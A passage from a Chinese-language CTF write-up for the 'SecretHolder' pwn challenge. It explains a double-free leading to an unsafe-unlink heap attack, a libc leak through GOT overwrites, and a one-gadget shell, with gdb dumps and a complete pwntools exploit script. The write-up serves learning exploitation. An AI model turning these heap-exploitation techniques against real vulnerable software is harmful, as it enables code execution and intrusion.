| ||||| |   0x00400c2e      call sym.imp.puts                          ; int puts(const char *s)
| ||||| |   0x00400c33      mov rax, qword [0x006020a8]                ; [0x6020a8:8]=0
| ||||| |   0x00400c3a      mov edx, 0x61a80
| ||||| |   0x00400c3f      mov rsi, rax
| ||||| |   0x00400c42      mov edi, 0
| ||||| |   0x00400c47      mov eax, 0
| ||||| |   0x00400c4c      call sym.imp.read                           ; read(0, [0x006020a8], 0x61a80) 否则读入 huge secret
| ||||| |   ; JMP XREF from 0x00400c27 (sub.Which_Secret_do_you_want_to_renew_b1e)
| ||||| `-> 0x00400c51      nop
| |||||     ; JMP XREF from 0x00400bad (sub.Which_Secret_do_you_want_to_renew_b1e)
| |||||     ; JMP XREF from 0x00400be5 (sub.Which_Secret_do_you_want_to_renew_b1e)
| |||||     ; JMP XREF from 0x00400be7 (sub.Which_Secret_do_you_want_to_renew_b1e)
| |||||     ; JMP XREF from 0x00400c1b (sub.Which_Secret_do_you_want_to_renew_b1e)
| |||||     ; JMP XREF from 0x00400c1d (sub.Which_Secret_do_you_want_to_renew_b1e)
| `````---> 0x00400c52      mov rax, qword [local_8h]
|           0x00400c56      xor rax, qword fs:[0x28]
|       ,=< 0x00400c5f      je 0x400c66
|       |   0x00400c61      call sym.imp.__stack_chk_fail              ; void __stack_chk_fail(void)
|       |   ; JMP XREF from 0x00400c5f (sub.Which_Secret_do_you_want_to_renew_b1e)
|       `-> 0x00400c66      leave
\           0x00400c67      ret

该函数首先判断对应的 flag 是否为 1,即 secret 是否已经存在,如果不存在,则读入 secret,否则函数直接返回。

漏洞利用

总结一下我们知道的东西:

  • small secret: small chunk, 40 bytes

    • small_ptr: 0x006020b0

    • small_flag: 0x006020c0

  • big secret: large chunk, 4000 bytes

    • big_ptr: 0x006020a0

    • big_flag: 0x006020b8

  • huge secret: large chunk, 400000 bytes

    • huge_ptr: 0x006020a8

    • huge_flag: 0x006020bc

漏洞:

  • double-free:在 free chunk 的位置 calloc 另一个 chunk,即可再次 free 这个 chunk

  • use-after-free:由于 double-free,calloc 出来的那个 chunk 被认为是 free 的,但可以使用

有个问题是,400000 bytes 的 huge secret 连 top chunk 都不能满足,此时会调用 sysmalloc(),通过 brk() 或者 mmap() 为其分配空间,该函数首先判断是否满足 mmap() 的分配条件,即需求 chunk 的大小大于阀值 mp_.mmap_threshold,且此进程通过 mmap() 分配的总内存数量 mp_.n_mmaps 小于最大值 mp_.n_mmaps_max:

  /*
     If have mmap, and the request size meets the mmap threshold, and
     the system supports mmap, and there are few enough currently
     allocated mmapped regions, try to directly map this request
     rather than expanding top.
   */

  if (av == NULL
      || ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)
	  && (mp_.n_mmaps < mp_.n_mmaps_max)))
    {

此时将使用 mmap() 来分配内存。然而这样得到的内存将与初始堆(由brk()分配,位于.bss段附近)的位置相距很远,难以利用。所以我们要想办法使用 brk() 来分配,好消息是由于性能的关系,在释放由 mmap() 分配的 chunk 时,会动态调整阀值 mp_.mmap_threshold 来避免碎片化,使得下一次的分配时使用 brk():

void
__libc_free (void *mem)
{
    [...]
  if (chunk_is_mmapped (p))                       /* release mmapped memory. */
    {
      /* see if the dynamic brk/mmap threshold needs adjusting */
      if (!mp_.no_dyn_threshold
          && p->size > mp_.mmap_threshold
          && p->size <= DEFAULT_MMAP_THRESHOLD_MAX)
        {
          mp_.mmap_threshold = chunksize (p);
          mp_.trim_threshold = 2 * mp_.mmap_threshold;
          LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2,
                      mp_.mmap_threshold, mp_.trim_threshold);
        }
      munmap_chunk (p);
      return;
    }

unsafe unlink

def unlink():
    keep(1)
    wipe(1)
    keep(2)     # big
    wipe(1)         # double free
    keep(1)     # small # overlapping
    keep(3)
    wipe(3)
    keep(3)     # huge

    payload  = p64(0)                   # fake prev_size
    payload += p64(0x21)                # fake size
    payload += p64(small_ptr - 0x18)    # fake fd
    payload += p64(small_ptr - 0x10)    # fake bk
    payload += p64(0x20)                # fake prev_size
    payload += p64(0x61a90)             # fake size
    renew(2, payload)

    wipe(3)         # unsafe unlink

因为在分配 large chunk 的时候,glibc 首先会调用函数 malloc_consolidate() 来清除 fastbin 中的块。所以 big secret 被放到了原 small secret 的位置,当再次分配 small secret 的时候就造成了堆块重叠。

首先制造 double free:

gdb-peda$ x/5gx 0x006020a0
0x6020a0:	0x0000000000603010	0x0000000000603040
0x6020b0:	0x0000000000603010	0x0000000100000001
0x6020c0:	0x0000000000000001
gdb-peda$ x/10gx 0x00603010-0x10
0x603000:	0x0000000000000000	0x0000000000000031  <-- small, big
0x603010:	0x0000000041414141	0x0000000000000000
0x603020:	0x0000000000000000	0x0000000000000000
0x603030:	0x0000000000000000	0x0000000000061a91  <-- huge
0x603040:	0x0000000041414141	0x0000000000000000

然后在 big secret 里布置一个 fake chunk:

gdb-peda$ x/5gx 0x006020a0
0x6020a0:	0x0000000000603010	0x0000000000603040
0x6020b0:	0x0000000000603010	0x0000000100000001
0x6020c0:	0x0000000000000001
gdb-peda$ x/10gx 0x00603010-0x10
0x603000:	0x0000000000000000	0x0000000000000031  <-- small, big
0x603010:	0x0000000000000000	0x0000000000000021  <-- fake chunk
0x603020:	0x0000000000602098	0x00000000006020a0    <-- fd, bk pointer
0x603030:	0x0000000000000020	0x0000000000061a90  <-- huge
0x603040:	0x0000000041414141	0x0000000000000000
gdb-peda$ x/gx 0x00602098 + 0x18
0x6020b0:	0x0000000000603010    <-- P->fd->bk = P
gdb-peda$ x/gx 0x006020a0 + 0x10
0x6020b0:	0x0000000000603010    <-- P->bk->fd = P

释放 huge secret,即可触发 unsafe unlink:

gdb-peda$ x/6gx 0x00602098
0x602098:	0x0000000000000000	0x0000000000603010
0x6020a8:	0x0000000000603040	0x0000000000602098  <-- fake chunk ptr
0x6020b8:	0x0000000000000001	0x0000000000000001

于是我们就获得了修改 .bss 段的能力。

leak libc

def leak():
    global one_gadget

    payload  = "A" * 8
    payload += p64(elf.got['free']) # big_ptr -> free@got.plt
    payload += "A" * 8
    payload += p64(big_ptr)         # small_ptr -> big_ptr
    renew(1, payload)
    renew(2, p64(elf.plt['puts']))  # free@got.plt -> puts@plt
    renew(1, p64(elf.got['puts']))  # big_ptr -> puts@got.plt

    wipe(2)
    puts_addr = u64(io.recvline()[:6] + "\x00\x00")
    libc_base = puts_addr - libc.symbols['puts']
    one_gadget = libc_base + 0x4525a

    log.info("libc base: 0x%x" % libc_base)
    log.info("one_gadget address: 0x%x" % one_gadget)

修改 big_ptr 指向 free@got.plt,small_ptr 指向 big_ptr:

gdb-peda$ x/6gx 0x00602098
0x602098:	0x4141414141414141	0x0000000000602018
0x6020a8:	0x4141414141414141	0x00000000006020a0
0x6020b8:	0x0000000000000001	0x0000000000000001
gdb-peda$ x/gx 0x00602018
0x602018 <free@got.plt>:	0x00007ffff7a91a70

修改 free@got.plt 为 puts@plt,big_ptr 指向 puts@got.plt:

gdb-peda$ x/6gx 0x00602098
0x602098:	0x4141414141414141	0x0000000000602020
0x6020a8:	0x4141414141414141	0x00000000006020a0
0x6020b8:	0x0000000000000001	0x0000000000000001
gdb-peda$ x/gx 0x00602018
0x602018 <free@got.plt>:	0x00000000004006c0
gdb-peda$ x/gx 0x00602020
0x602020 <puts@got.plt>:	0x00007ffff7a7d5d0

此时释放 big secret,其实就是 puts(puts_addr),通过偏移计算即可得到 libc 基址和 one-gadget 地址。

pwn

def pwn():
    payload  = "A" * 0x10
    payload += p64(elf.got['puts']) # small_ptr -> puts@got.plt
    renew(1, payload)

    renew(1, p64(one_gadget))       # puts@got.plt -> one_gadget
    io.interactive()

最后可以通过两次修改,将 puts@got.plt 修改为 one-gadget,获得 shell。

开启 ASLR,Bingo!!!

$ python exp.py
[+] Starting local process './SecretHolder': pid 6979
[*] libc base: 0x7f34e24ae000
[*] one_gadget address: 0x7f34e24f325a
[*] Switching to interactive mode
$ whoami
firmy

exploit

完整的 exp 如下:

#!/usr/bin/env python

from pwn import *

#context.log_level = 'debug'

io = process(['./SecretHolder'], env={'LD_PRELOAD':'./libc-2.23.so'})
elf = ELF('SecretHolder')
libc = ELF('libc-2.23.so')

small_ptr = 0x006020b0
big_ptr = 0x006020a0

def keep(idx):
    io.sendlineafter("Renew secret\n", '1')
    io.sendlineafter("Huge secret\n", str(idx))
    io.sendafter("secret: \n", 'AAAA')

def wipe(idx):
    io.sendlineafter("Renew secret\n", '2')
    io.sendlineafter("Huge secret\n", str(idx))

def renew(idx, content):
    io.sendlineafter("Renew secret\n", '3')
    io.sendlineafter("Huge secret\n", str(idx))
    io.sendafter("secret: \n", content)

def unlink():
    keep(1)
    wipe(1)
    keep(2)     # big
    wipe(1)         # double free
    keep(1)     # small # overlapping
    keep(3)
    wipe(3)
    keep(3)     # huge

    payload  = p64(0)                   # fake prev_size
    payload += p64(0x21)                # fake size
    payload += p64(small_ptr - 0x18)    # fake fd
    payload += p64(small_ptr - 0x10)    # fake bk
    payload += p64(0x20)                # fake prev_size
    payload += p64(0x61a90)             # fake size
    renew(2, payload)

    wipe(3)         # unsafe unlink

def leak():
    global one_gadget

    payload  = "A" * 8
    payload += p64(elf.got['free']) # big_ptr -> free@got.plt
    payload += "A" * 8
    payload += p64(big_ptr)         # small_ptr -> big_ptr
    renew(1, payload)
    renew(2, p64(elf.plt['puts']))  # free@got.plt -> puts@plt
    renew(1, p64(elf.got['puts']))  # big_ptr -> puts@got.plt

    wipe(2)
    puts_addr = u64(io.recvline()[:6] + "\x00\x00")
    libc_base = puts_addr - libc.symbols['puts']
    one_gadget = libc_base + 0x4525a

    log.info("libc base: 0x%x" % libc_base)
    log.info("one_gadget address: 0x%x" % one_gadget)

def pwn():
    payload  = "A" * 0x10
    payload += p64(elf.got['puts']) # small_ptr -> puts@got.plt
    renew(1, payload)

    renew(1, p64(one_gadget))       # puts@got.plt -> one_gadget
    io.interactive()

if __name__ == "__main__":
    unlink()
    leak()
    pwn()

参考资料

https://ctftime.org/task/2954
下载文件
题目复现
题目解析
漏洞利用
参考资料